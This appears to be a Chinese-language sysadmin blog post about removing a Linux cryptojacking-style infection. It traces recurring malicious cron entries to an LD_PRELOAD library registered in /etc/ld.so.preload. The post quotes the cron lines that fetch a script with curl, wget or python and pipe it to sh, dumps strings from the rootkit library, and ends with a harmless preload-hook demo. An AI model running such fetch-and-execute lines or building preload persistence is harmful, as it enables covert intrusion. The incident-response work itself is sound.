近期服务器中了顽固病毒,花了不少时间,最终得以圆满解决,这里分享下整个解决思路,便于为大家提供一定的参考。

1. 现象

定时任务有非法任务,如下

[root@iZ23kh0sxhxZ nexhome]# crontab -l
*/30 * * * * (curl -fsSL -m180 ||wget -q -T180 -O- ||python -c 'import urllib;print(urllib.urlopen("http://").read())')|sh

而且编辑后又会被恢复

2. 排查过程

2.1 找出定时任务文件位置

根据网上资料,寻找到以下几处cron文件位置

/var/spool/cron/root
/etc/cron.d/root
/var/spool/cron/crontabs/root

发现以下几个文件被不停的修改

2.2 找出修改定时任务的进程

思路:寻找监听文件被修改的方式,大致有3中方式

方式1: lsof
方式2: inotify
方式3: audit

考虑到系统自带了audit,因此采用audit,相关命令如下:

启动服务
service auditd start

添加规则
auditctl -w /var/spool/cron/root -p wra

查看规则
auditctl -l

清除规则
auditctl -D

查看结果
ausearch -f /var/

通过以上,可以查看文件被修改的进程,如下是通过ausearch得到的结果,其中pid就是修改该文件的进程id

time->Thu Sep 16 16:55:49 2021
type=PATH msg=audit(1631782549.484:7): item=1 name="/var/spool/cron/root" inode=11796544 dev=ca:11 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL
type=PATH msg=audit(1631782549.484:7): item=0 name="/var/spool/cron/" inode=11796506 dev=ca:11 mode=040700 ouid=0 ogid=0 rdev=00:00 nametype=PARENT
type=CWD msg=audit(1631782549.484:7):  cwd="/etc"
type=SYSCALL msg=audit(1631782549.484:7): arch=c000003e syscall=2 success=yes exit=3 a0=7fcf3c2f393b a1=242 a2=1b6 a3=0 items=2 ppid=2693 pid=3187 auid=501 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=5 comm="ausearch" exe="/sbin/ausearch" key=(null)

2.3 确认该进程是什么进程

通过ausearch可以得到进程id,但通过ps无法找到该进程,说明这个为临时进程,通过top观察发现这个就是执行auserch自己的进程号,而且在不执行命令时,是不会有人变更该文件;

于是可以初步断定,修改定时任务不是某个常驻进程定时触发的,而是由于bash 命令主动触发的。

2.4 查找具体的命令

怀疑应该是bash被修改了,从其他可执行文件,还是一样结果,怀疑是动态库被修改,于是查看bash依赖的动态库

[root@iZ23kh0sxhxZ nexhome]# ldd /bin/bash
	linux-vdso.so.1 =>  (0x00007ffc5b3be000)
	/usr/local/lib/libevent_core-0.12.so (0x00007fbdb8f8c000)
	libtinfo.so.5 => /lib64/libtinfo.so.5 (0x00000032c6800000)
	libdl.so.2 => /lib64/libdl.so.2 (0x00007fbdb8d7b000)
	libc.so.6 => /lib64/libc.so.6 (0x00007fbdb89e7000)
	/lib64/ld-linux-x86-64.so.2 (0x0000561db6313000)

对比了其他正常服务器发现并没有这个libevent_core-0.12.so动态库以来

vim打开/usr/local/lib/libevent_core-0.12.so发现如下一些特殊字符,于是可以断定这个是原因

cpu  0 0 3375 498153 97 0 10 0 0 0
cpu0 0 0 1699 249246 71 0 6 0 0 0
intr 0 28 0 0 0 378 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 16 0 4129 0 124 1 0 1251 0 3 0 6879 6680 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 543672
btime 1544675938
processes 2774
procs_running 4
procs_blocked 0
softirq 188202 0 129718 1 457 0 0 1 35688 0 22337access__xstatw+/etc/cron.d/root*/15 * * * * root (curl -fsSL -m180 ||wget -q -T180 -O- ||python -c 'import urllib;print(urllib.urlopen("http://").read())')|sh
##/var/spool/cron/root*/15 * * * * (curl -fsSL -m180 ||wget -q -T180 -O- ||python -c 'import urllib;print(urllib.urlopen("http://").read())')|sh
##/var/spool/cron/crontabs/root*/30 * * * * (curl -fsSL -m180 ||wget -q -T180 -O- ||python -c 'import urllib;print(urllib.urlopen("http://").read())')|sh
##racu_schvdsld.so.preloadlibevent_core-0.12.so/proc/stat/proc/net/tcp/proc/net/tcp6fopen64__lxstat__lxstat64openrmdir__xstat64unlinkunlinkatopendirreaddir/proc4f91a57bce./readdir64?????????????(K???H????pI??????????????????????}???0????XO?????????g?????????'??????0????X{???x?????d????????zRx

2.5 移除动态库依赖

通过动态库配置文件,发现如下信息

[root@iZ23kh0sxhxZ etc]# cat /etc/ld.so.preload
/usr/local/lib/libevent_core-0.12.so

于是手动编辑移除,由于原来动态库已经加载,因此这里重新启动系统

2.6 最终确认

服务器重启后,定时任务没有被修改了,可以确定病毒已被清除。同时确认了依赖已经没有libevent相关库依赖。

[root@iZ23kh0sxhxZ ~]# ldd /bin/bash
	linux-vdso.so.1 =>  (0x00007fff01944000)
	libtinfo.so.5 => /lib64/libtinfo.so.5 (0x00000032c6800000)
	libdl.so.2 => /lib64/libdl.so.2 (0x00007fefd921b000)
	libc.so.6 => /lib64/libc.so.6 (0x00007fefd8e86000)
	/lib64/ld-linux-x86-64.so.2 (0x00005567870de000)

3 总结

自此,该病毒已被彻底移除,这里做一些总结,该病毒依附于命令,即你有敲命令,就会导致定时任务被修改,而我们排查又需要通过命令,因此比较难发现,借助了audit来一步步确定,最终找到是由于加载了黑客自己编写的动态库,从而进一步找到源头,并将病毒清理掉。

这里也简单描述下原理,通过/etc/ld.so.preload可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数。因此可以使用预加载实现hook功能。

#include <stdio.h>
#include <sys/socket.h>

__attribute__ ((visibility("default"))) int socket(int family, int type, int protocol) {
	printf("detect socket call\n");
	return -1;
}

__attribute__((constructor)) void main() {
	printf("module inject success\n");
}

编译成so,并执行

gcc hook.c --shared -fPIC -o hook.so
LD_PRELOAD=$PWD/hook.so ping 127.0.0.1

输出如下结果

module inject success
detect socket call
detect socket call
ping: socket: Success